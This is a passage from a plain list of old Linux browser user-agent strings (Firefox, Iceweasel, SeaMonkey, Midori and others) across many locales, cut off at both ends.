Ubuntu/9.10 (karmic) Firefox/3.5.8\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.7.12) Gecko/20050929\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1~bpo.1)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080213 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.13) Gecko/20080311 Iceweasel/2.0.0.13 (Debian-2.0.0.13-0etch1)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-0etch1)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-2)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080419 Ubuntu/8.04 (hardy) Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.18) Gecko/20081030 Iceweasel/2.0.0.18 (Debian-2.0.0.18-0etch1)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20070225 Firefox/2.0.0.2 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.9) Gecko/20071025 Iceweasel/2.0.0.9\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.9) Gecko/20071025 Iceweasel/2.0.0.9 (Debian-2.0.0.9-2)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9) Gecko/2008061015 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060309 Linux Mint/5 (Elyssa) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060310 Ubuntu/8.10 (intrepid) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061319 Iceweasel/3.0.11 (Debian-3.0.11-1)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.14) Gecko/2009090216 Firefox/3.0.14\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.5) Gecko/2008122011 Iceweasel/3.0.5 (Debian-3.0.5-1)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.16) Gecko/20111108 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 GTB6\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.7) Gecko/20091222 SUSE/3.5.7-1.1.1 Firefox/3.5.7\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1 Firefox/3.5.9\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.17pre) Gecko/20110404 Ubuntu/10.10 (Maverick) Namoroka/3.6.17pre\nMozilla/5.0 (X11; U; Linux i686; eu; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1.2 Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; fa; rv:1.8.1.4) Gecko/20100527 Firefox/3.6.4\nMozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.13) Gecko/2009080315 Linux Mint/6 (Felicia) Firefox/3.0.13\nMozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8\nMozilla/5.0 (X11; U; Linux i686; fi; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; fi; rv:1.8.1.3) Gecko/20070403 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:0.9.4) Gecko/20011126 Netscape6/6.2.1\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.5) Gecko/20031007\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5)\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.3) Gecko/20040913\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.0.8) Gecko/20061029 SeaMonkey/1.0.6\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.6) Gecko/20080208 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.0.5) Gecko/2008123017 Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.0.7) Gecko/2009030719 GranParadiso/3.0.7\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5\nMozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10\nMozilla/5.0 (X11; U; Linux i686; fr-be; rv:1.9.0.8) Gecko/2009073022 Ubuntu/9.04 (jaunty) Firefox/3.0.13\nMozilla/5.0 (X11; U; Linux i686; fr-be; rv:1.9.0.8) Gecko/2009073022 Ubuntu/9.04 (jaunty) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; fr-ca) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; fr-fr) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; fr-fr) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori/1.19\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.2) Gecko/20040804\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 pango-text\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.8) Gecko/20061213 Firefox/1.5.0.8\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060916 Firefox/2.0b2\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060918 Firefox/2.0b2\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.13) Gecko/20080311 Iceweasel/2.0.0.13 (Debian-2.0.0.13-1)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.16) Gecko/20080702 Iceweasel/2.0.0.16 (Debian-2.0.0.16-0etch1)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.16) Gecko/20080716 SeaMonkey/1.1.11\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.19) Gecko/20081216 Ubuntu/7.10 (gutsy) Firefox/2.0.0.19\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-2)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-2)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.6) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071030 Fedora/2.0.0.8-2.fc8 Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9) Gecko/2008052909 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9) Gecko/2008052912 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9) Gecko/2008052912 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.13) Gecko/2009082121 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.19) Gecko/2010102906 Iceweasel/3.0.6 (Debian-3.0.6-3)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.19) Gecko/2011092908 Iceweasel/3.0.6 (Debian-3.0.6-3)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.03\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.6) Gecko/2009020409 Firefox/3.0.1 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009031218 Gentoo Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.04 (hardy) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.17pre) Gecko/20110322 Ubuntu/10.10 (maverick) Namoroka/3.6.17pre\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.17pre) Gecko/20110413 Ubuntu/10.04 (lucid) Namoroka/3.6.17pre\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2\nMozilla/5.0 (X11; U; Linux i686; he-IL; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.1 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.3.1) Gecko\nMozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.10) Gecko/2009042718 CentOS/3.0.10-1.el5.centos Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 FirePHP/0.2.4\nMozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-1.fc12 Firefox/3.5.9\nMozilla/5.0 (X11; U; Linux i686; hu-hu) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; hu; rv:1.7.3) Gecko/20050130\nMozilla/5.0 (X11; U; Linux i686; hu; rv:1.7.3) Gecko/20050130 Galeon/1.3.19\nMozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-0.1 Firefox/1.5.0.7\nMozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1\nMozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2\nMozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; hu; rv:1.8b4) Gecko/20050827 Firefox/1.0+\nMozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.1) Gecko/20020826\nMozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)\nMozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5\nMozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8\nMozilla/5.0 (X11; U; Linux i686; it-it) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.30.2\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.8) Gecko/20060113 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.12) Gecko/20080129 Iceweasel/2.0.0.12 (Debian-2.0.0.12-0etch1)\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.12) Gecko/20080129 Iceweasel/2.0.0.12 (Debian-2.0.0.12-1)\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.14) Gecko/20080420 Firefox/2.0.0.14\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20070406 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20070410 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.4) Gecko/20060601 Firefox/2.0.0.4 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.4) Gecko/20070621 Firefox/2.0.0.4\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9) Gecko/2008061015 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.1) Gecko/2008071618 Iceweasel/3.0.1 (Debian-3.0.1-1)\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc10 Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.19) Gecko/2010120923 Iceweasel/3.0.6 (Debian-3.0.6-3)\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.4) Gecko/2008111217 Red Hat Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.6) Gecko/2009020409 Iceweasel 3.0.6 (Debian 5.0\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16)\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.13) Gecko/20110109 Iceweasel/3.6.13 (like Firefox/3.6.13)\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.8.1.21) Gecko/20090322 SeaMonkey/1.1.15\nMozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8\nMozilla/5.0 (X11; U; Linux i686; ja-jp) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.0.10) Gecko/20070510 Fedora/1.5.0.10-6.fc6 Firefox/1.5.0.10\nMozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071128 Firefox/2.0.0.11 (Debian-2.0.0.11-1)\nMozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071128 Iceweasel/2.0.0.11 (Debian-2.0.0.11-1)\nMozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.7) Gecko/2009032803 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.1.6) Gecko/20091216 Shiretoko/3.5.6\nMozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.8.0.7) Gecko/20060913 Fedora/1.5.0.7-1.fc5 Firefox/1.5.0.7 pango-text\nMozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12\nMozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3\nMozilla/5.0 (X11; U; Linux i686; lt-LT; rv:1.6) Gecko/20051114 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; lt; rv:1.6) Gecko/20051114 Firefox/1.5\nMozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)\nMozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.9.1.10) Gecko/20100623 Fedora/2.0.5-1.fc12 Fedora SeaMonkey/2.0.3\nMozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.9.1.16) Gecko/20110420 SeaMonkey/2.0.14\nMozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9\nMozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.0.19) Gecko/20090720 Firefox/3.5.1\nMozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4\nMozilla/5.0 (X11; U; Linux i686; nl-nl) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.12) Gecko/20070601 Ubuntu/dapper-security Firefox/1.5.0.12\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)\nMozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.1) Gecko/20070311 Firefox/2.0.0.1\nMozilla/5.0 (X11; 